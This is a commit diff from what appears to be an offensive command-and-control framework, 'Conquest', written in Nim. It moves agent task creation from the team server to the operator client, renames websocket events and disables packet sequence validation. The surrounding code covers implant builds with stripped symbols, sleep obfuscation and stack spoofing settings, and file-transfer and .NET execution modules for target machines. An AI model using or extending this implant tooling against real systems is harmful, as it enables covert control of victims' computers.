Moved task parsing logic to the client to be able to support dotnet/bof commands when operating from a different machine than the team server. Disabled sequence tracking due to issues.
This commit is contained in:
@@ -4,5 +4,5 @@
|
||||
--opt:size
|
||||
--passL:"-s" # Strip symbols, such as sensitive function names
|
||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||
-d:MODULES="223"
|
||||
-d:MODULES="255"
|
||||
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
||||
@@ -1,6 +1,6 @@
|
||||
import std/paths
|
||||
import strutils, sequtils, times, tables
|
||||
import ../../common/[types, sequence, crypto, utils, serialize]
|
||||
import ../common/[types, sequence, crypto, utils, serialize]
|
||||
|
||||
proc parseInput*(input: string): seq[string] =
|
||||
var i = 0
|
||||
@@ -84,12 +84,12 @@ proc parseArgument*(argument: Argument, value: string): TaskArg =
|
||||
|
||||
return arg
|
||||
|
||||
proc createTask*(cq: Conquest, agentId: string, command: Command, arguments: seq[string]): Task =
|
||||
proc createTask*(agentId, listenerId: string, command: Command, arguments: seq[string]): Task =
|
||||
|
||||
# Construct the task payload prefix
|
||||
var task: Task
|
||||
task.taskId = string.toUuid(generateUUID())
|
||||
task.listenerId = string.toUuid(cq.agents[agentId].listenerId)
|
||||
task.listenerId = string.toUuid(listenerId)
|
||||
task.timestamp = uint32(now().toTime().toUnix())
|
||||
task.command = cast[uint16](command.commandType)
|
||||
task.argCount = uint8(arguments.len)
|
||||
@@ -124,4 +124,4 @@ proc createTask*(cq: Conquest, agentId: string, command: Command, arguments: seq
|
||||
task.header = taskHeader
|
||||
|
||||
# Return the task object for serialization
|
||||
return task
|
||||
return task
|
||||
@@ -1,12 +1,13 @@
|
||||
import whisky
|
||||
import strformat, strutils, times
|
||||
import strformat, strutils, times, json
|
||||
import imguin/[cimgui, glfw_opengl, simple]
|
||||
import ../utils/[appImGui, colors]
|
||||
import ../../common/[types]
|
||||
import ../websocket
|
||||
import ../../common/[types, utils]
|
||||
import ../../modules/manager
|
||||
import ../[task, websocket]
|
||||
|
||||
const MAX_INPUT_LENGTH = 512
|
||||
type
|
||||
type
|
||||
ConsoleComponent* = ref object of RootObj
|
||||
agent*: UIAgent
|
||||
showConsole*: bool
|
||||
@@ -124,6 +125,32 @@ proc addItem*(component: ConsoleComponent, itemType: LogType, data: string, time
|
||||
text: line
|
||||
))
|
||||
|
||||
#[
|
||||
Handling console commands
|
||||
]#
|
||||
proc handleAgentCommand*(component: ConsoleComponent, ws: WebSocket, input: string) =
|
||||
|
||||
# Convert user input into sequence of string arguments
|
||||
let parsedArgs = parseInput(input)
|
||||
|
||||
# Handle 'help' command
|
||||
if parsedArgs[0] == "help":
|
||||
# cq.handleHelp(parsedArgs)
|
||||
component.addItem(LOG_WARNING, "Help")
|
||||
return
|
||||
|
||||
# Handle commands with actions on the agent
|
||||
try:
|
||||
let
|
||||
command = getCommandByName(parsedArgs[0])
|
||||
task = createTask(component.agent.agentId, component.agent.listenerId, command, parsedArgs[1..^1])
|
||||
|
||||
ws.sendAgentTask(component.agent.agentId, task)
|
||||
component.addItem(LOG_INFO, fmt"Tasked agent to {command.description.toLowerAscii()} ({Uuid.toString(task.taskId)})")
|
||||
|
||||
except CatchableError:
|
||||
component.addItem(LOG_ERROR, getCurrentExceptionMsg())
|
||||
|
||||
#[
|
||||
Drawing
|
||||
]#
|
||||
@@ -271,7 +298,7 @@ proc draw*(component: ConsoleComponent, ws: WebSocket) =
|
||||
component.addItem(LOG_COMMAND, command)
|
||||
|
||||
# Send command to team server
|
||||
ws.sendAgentCommand(component.agent.agentId, command)
|
||||
component.handleAgentCommand(ws, command)
|
||||
|
||||
# Add command to console history
|
||||
component.history.add(command)
|
||||
|
||||
@@ -50,8 +50,8 @@ proc draw*(component: DockspaceComponent, showComponent: ptr bool, views: Table[
|
||||
igDockBuilderAddNode(dockspaceId, ImGuiDockNodeFlags_DockSpace.int32)
|
||||
igDockBuilderSetNodeSize(dockspaceId, vp.WorkSize)
|
||||
|
||||
discard igDockBuilderSplitNode(dockspaceId, ImGuiDir_Down, 0.8f, dockBottom, dockTop)
|
||||
discard igDockBuilderSplitNode(dockTop[], ImGuiDir_Right, 0.4f, dockTopRight, dockTopLeft)
|
||||
discard igDockBuilderSplitNode(dockspaceId, ImGuiDir_Down, 5.0f, dockBottom, dockTop)
|
||||
discard igDockBuilderSplitNode(dockTop[], ImGuiDir_Right, 0.5f, dockTopRight, dockTopLeft)
|
||||
|
||||
igDockBuilderDockWindow("Sessions [Table View]", dockTopLeft[])
|
||||
igDockBuilderDockWindow("Listeners", dockBottom[])
|
||||
|
||||
@@ -38,13 +38,13 @@ proc sendAgentBuild*(ws: WebSocket, buildInformation: AgentBuildInformation) =
|
||||
)
|
||||
ws.sendEvent(event)
|
||||
|
||||
proc sendAgentCommand*(ws: WebSocket, agentId: string, command: string) =
|
||||
proc sendAgentTask*(ws: WebSocket, agentId: string, task: Task) =
|
||||
let event = Event(
|
||||
eventType: CLIENT_AGENT_COMMAND,
|
||||
eventType: CLIENT_AGENT_TASK,
|
||||
timestamp: now().toTime().toUnix(),
|
||||
data: %*{
|
||||
"agentId": agentId,
|
||||
"command": command
|
||||
"task": task
|
||||
}
|
||||
)
|
||||
ws.sendEvent(event)
|
||||
|
||||
@@ -8,23 +8,23 @@ proc nextSequence*(agentId: uint32): uint32 =
|
||||
return sequenceTable[agentId]
|
||||
|
||||
proc validateSequence(agentId: uint32, seqNr: uint32, packetType: uint8): bool =
|
||||
let lastSeqNr = sequenceTable.getOrDefault(agentId, 0'u32)
|
||||
# let lastSeqNr = sequenceTable.getOrDefault(agentId, 0'u32)
|
||||
|
||||
# Heartbeat messages are not used for sequence tracking
|
||||
if cast[PacketType](packetType) == MSG_HEARTBEAT:
|
||||
return true
|
||||
# # Heartbeat messages are not used for sequence tracking
|
||||
# if cast[PacketType](packetType) == MSG_HEARTBEAT:
|
||||
# return true
|
||||
|
||||
# In order to keep agents running after server restart, accept all connection with seqNr = 1, to update the table
|
||||
if seqNr == 1'u32:
|
||||
sequenceTable[agentId] = seqNr
|
||||
return true
|
||||
# # In order to keep agents running after server restart, accept all connection with seqNr = 1, to update the table
|
||||
# if seqNr == 1'u32:
|
||||
# sequenceTable[agentId] = seqNr
|
||||
# return true
|
||||
|
||||
# Validate that the sequence number of the current packet is higher than the currently stored one
|
||||
if seqNr <= lastSeqNr:
|
||||
return false
|
||||
# # Validate that the sequence number of the current packet is higher than the currently stored one
|
||||
# if seqNr <= lastSeqNr:
|
||||
# return false
|
||||
|
||||
# Update sequence number
|
||||
sequenceTable[agentId] = seqNr
|
||||
# # Update sequence number
|
||||
# sequenceTable[agentId] = seqNr
|
||||
return true
|
||||
|
||||
proc validatePacket*(header: Header, expectedType: uint8) =
|
||||
|
||||
@@ -246,7 +246,7 @@ type
|
||||
|
||||
# Sent by client
|
||||
CLIENT_AGENT_BUILD = 1'u8 # Generate an agent binary for a specific listener
|
||||
CLIENT_AGENT_COMMAND = 2'u8 # Instruct TS to send queue a command for a specific agent
|
||||
CLIENT_AGENT_TASK = 2'u8 # Instruct TS to send queue a command for a specific agent
|
||||
CLIENT_LISTENER_START = 3'u8 # Start a listener on the TS
|
||||
CLIENT_LISTENER_STOP = 4'u8 # Stop a listener
|
||||
|
||||
@@ -336,5 +336,4 @@ type
|
||||
sleepDelay*: uint32
|
||||
sleepTechnique*: SleepObfuscationTechnique
|
||||
spoofStack*: bool
|
||||
modules*: uint32
|
||||
|
||||
modules*: uint32
|
||||
@@ -13,7 +13,7 @@ proc executeCopy(ctx: AgentCtx, task: Task): TaskResult
|
||||
let module* = Module(
|
||||
name: protect("filesystem"),
|
||||
description: protect("Conduct simple filesystem operations via Windows API."),
|
||||
moduleType: MODULE_DOTNET,
|
||||
moduleType: MODULE_FILESYSTEM,
|
||||
commands: @[
|
||||
Command(
|
||||
name: protect("pwd"),
|
||||
|
||||
@@ -8,7 +8,7 @@ proc executeUpload(ctx: AgentCtx, task: Task): TaskResult
|
||||
let module* = Module(
|
||||
name: protect("filetransfer"),
|
||||
description: protect("Upload/download files to/from the target system."),
|
||||
moduleType: MODULE_FILESYSTEM,
|
||||
moduleType: MODULE_FILETRANSFER,
|
||||
commands: @[
|
||||
Command(
|
||||
name: protect("download"),
|
||||
|
||||
@@ -44,7 +44,7 @@ proc register*(registrationData: seq[byte]): bool =
|
||||
cq.error(err.msg)
|
||||
return false
|
||||
|
||||
proc getTasks*(heartbeat: seq[byte]): seq[seq[byte]] =
|
||||
proc getTasks*(heartbeat: seq[byte]): tuple[agentId: string, tasks: seq[seq[byte]]] =
|
||||
|
||||
{.cast(gcsafe).}:
|
||||
|
||||
@@ -75,11 +75,11 @@ proc getTasks*(heartbeat: seq[byte]): seq[seq[byte]] =
|
||||
let taskData = cq.serializeTask(task)
|
||||
tasks.add(taskData)
|
||||
|
||||
return tasks
|
||||
return (agentId, tasks)
|
||||
|
||||
except CatchableError as err:
|
||||
cq.error(err.msg)
|
||||
return @[]
|
||||
return ("", @[])
|
||||
|
||||
proc handleResult*(resultData: seq[byte]) =
|
||||
|
||||
|
||||
@@ -5,6 +5,7 @@ import ./handlers
|
||||
import ../globals
|
||||
import ../core/logger
|
||||
import ../../common/[types, utils, serialize, profile]
|
||||
import ../websocket
|
||||
|
||||
# Not Found
|
||||
proc error404*(request: Request) =
|
||||
@@ -73,7 +74,7 @@ proc httpGet*(request: Request) =
|
||||
|
||||
try:
|
||||
var responseBytes: seq[byte]
|
||||
let tasks: seq[seq[byte]] = getTasks(heartbeat)
|
||||
let (agentId, tasks) = getTasks(heartbeat)
|
||||
|
||||
if tasks.len <= 0:
|
||||
request.respond(200, body = "")
|
||||
@@ -107,6 +108,7 @@ proc httpGet*(request: Request) =
|
||||
request.respond(200, headers = headers, body = prefix & response & suffix)
|
||||
|
||||
# Notify operator that agent collected tasks
|
||||
cq.client.sendConsoleItem(agentId, LOG_INFO, fmt"{$response.len} bytes sent.")
|
||||
cq.info(fmt"{$response.len} bytes sent.")
|
||||
|
||||
except CatchableError:
|
||||
|
||||
@@ -106,26 +106,27 @@ proc agentKill*(cq: Conquest, name: string) =
|
||||
|
||||
# Switch to interact mode
|
||||
proc agentInteract*(cq: Conquest, name: string) =
|
||||
|
||||
# Verify that agent exists
|
||||
if not cq.dbAgentExists(name.toUpperAscii):
|
||||
cq.error(fmt"Agent {name.toUpperAscii} does not exist.")
|
||||
return
|
||||
|
||||
let agent = cq.agents[name.toUpperAscii]
|
||||
var command: string = ""
|
||||
|
||||
# Change prompt indicator to show agent interaction
|
||||
cq.interactAgent = agent
|
||||
cq.prompt.setIndicator(fmt"[{agent.agentId}]> ")
|
||||
cq.prompt.setStatusBar(@[("[mode]", "interact"), ("[username]", fmt"{agent.username}"), ("[hostname]", fmt"{agent.hostname}"), ("[ip]", fmt"{agent.ip}"), ("[domain]", fmt"{agent.domain}")])
|
||||
|
||||
cq.info("Started interacting with agent ", fgYellow, styleBright, agent.agentId, resetStyle, ". Type 'help' to list available commands.\n")
|
||||
|
||||
while command.replace(" ", "") != "back":
|
||||
command = cq.prompt.readLine()
|
||||
cq.handleAgentCommand(name, command)
|
||||
|
||||
# Reset interactAgent field after interaction with agent is ended using 'back' command
|
||||
cq.interactAgent = nil
|
||||
discard
|
||||
# Verify that agent exists
|
||||
# if not cq.dbAgentExists(name.toUpperAscii):
|
||||
# cq.error(fmt"Agent {name.toUpperAscii} does not exist.")
|
||||
# return
|
||||
|
||||
# let agent = cq.agents[name.toUpperAscii]
|
||||
# var command: string = ""
|
||||
|
||||
# # Change prompt indicator to show agent interaction
|
||||
# cq.interactAgent = agent
|
||||
# cq.prompt.setIndicator(fmt"[{agent.agentId}]> ")
|
||||
# cq.prompt.setStatusBar(@[("[mode]", "interact"), ("[username]", fmt"{agent.username}"), ("[hostname]", fmt"{agent.hostname}"), ("[ip]", fmt"{agent.ip}"), ("[domain]", fmt"{agent.domain}")])
|
||||
|
||||
# cq.info("Started interacting with agent ", fgYellow, styleBright, agent.agentId, resetStyle, ". Type 'help' to list available commands.\n")
|
||||
|
||||
# while command.replace(" ", "") != "back":
|
||||
# command = cq.prompt.readLine()
|
||||
# cq.handleAgentCommand(name, command)
|
||||
|
||||
# # Reset interactAgent field after interaction with agent is ended using 'back' command
|
||||
# cq.interactAgent = nil
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import prompt, terminal, argparse, parsetoml, times, json
|
||||
import prompt, terminal, argparse, parsetoml, times, json, math
|
||||
import strutils, strformat, system, tables
|
||||
|
||||
import ./[agent, listener, task, builder]
|
||||
@@ -174,10 +174,10 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {.
|
||||
let event = message.recvEvent()
|
||||
|
||||
case event.eventType:
|
||||
of CLIENT_AGENT_COMMAND:
|
||||
of CLIENT_AGENT_TASK:
|
||||
let agentId = event.data["agentId"].getStr()
|
||||
let command = event.data["command"].getStr()
|
||||
cq.handleAgentCommand(agentId, command)
|
||||
let task = event.data["task"].to(Task)
|
||||
cq.agents[agentId].tasks.add(task)
|
||||
|
||||
of CLIENT_LISTENER_START:
|
||||
let listener = event.data.to(UIListener)
|
||||
@@ -246,7 +246,9 @@ proc startServer*(profilePath: string) =
|
||||
# Start websocket server
|
||||
var router: Router
|
||||
router.get("/*", upgradeHandler)
|
||||
let server = newServer(router, websocketHandler)
|
||||
|
||||
# Increased websocket message length in order to support dotnet assembly execution
|
||||
let server = newServer(router, websocketHandler, maxMessageLen = 1024 * 1024 * 1024)
|
||||
|
||||
var thread: Thread[Server]
|
||||
createThread(thread, serve, server)
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
import strformat, terminal, tables, sequtils, strutils
|
||||
|
||||
import ../protocol/parser
|
||||
import ../core/logger
|
||||
import ../websocket
|
||||
import ../../modules/manager
|
||||
@@ -50,31 +49,3 @@ proc handleHelp(cq: Conquest, parsed: seq[string]) =
|
||||
except ValueError:
|
||||
# Command was not found
|
||||
cq.error(fmt"The command '{parsed[1]}' does not exist." & '\n')
|
||||
|
||||
proc handleAgentCommand*(cq: Conquest, agentId: string, input: string) =
|
||||
|
||||
cq.input(input)
|
||||
|
||||
# Convert user input into sequence of string arguments
|
||||
let parsedArgs = parseInput(input)
|
||||
|
||||
# Handle 'help' command
|
||||
if parsedArgs[0] == "help":
|
||||
cq.handleHelp(parsedArgs)
|
||||
return
|
||||
|
||||
# Handle commands with actions on the agent
|
||||
try:
|
||||
let
|
||||
command = getCommandByName(parsedArgs[0])
|
||||
task = cq.createTask(agentId, command, parsedArgs[1..^1])
|
||||
|
||||
# Add task to queue
|
||||
cq.agents[agentId].tasks.add(task)
|
||||
|
||||
cq.client.sendConsoleItem(agentId, LOG_INFO, fmt"Tasked agent to {command.description.toLowerAscii()}")
|
||||
cq.info(fmt"Tasked agent to {command.description.toLowerAscii()}")
|
||||
|
||||
except CatchableError:
|
||||
cq.error(getCurrentExceptionMsg() & "\n")
|
||||
return
|
||||
Reference in New Issue
Block a user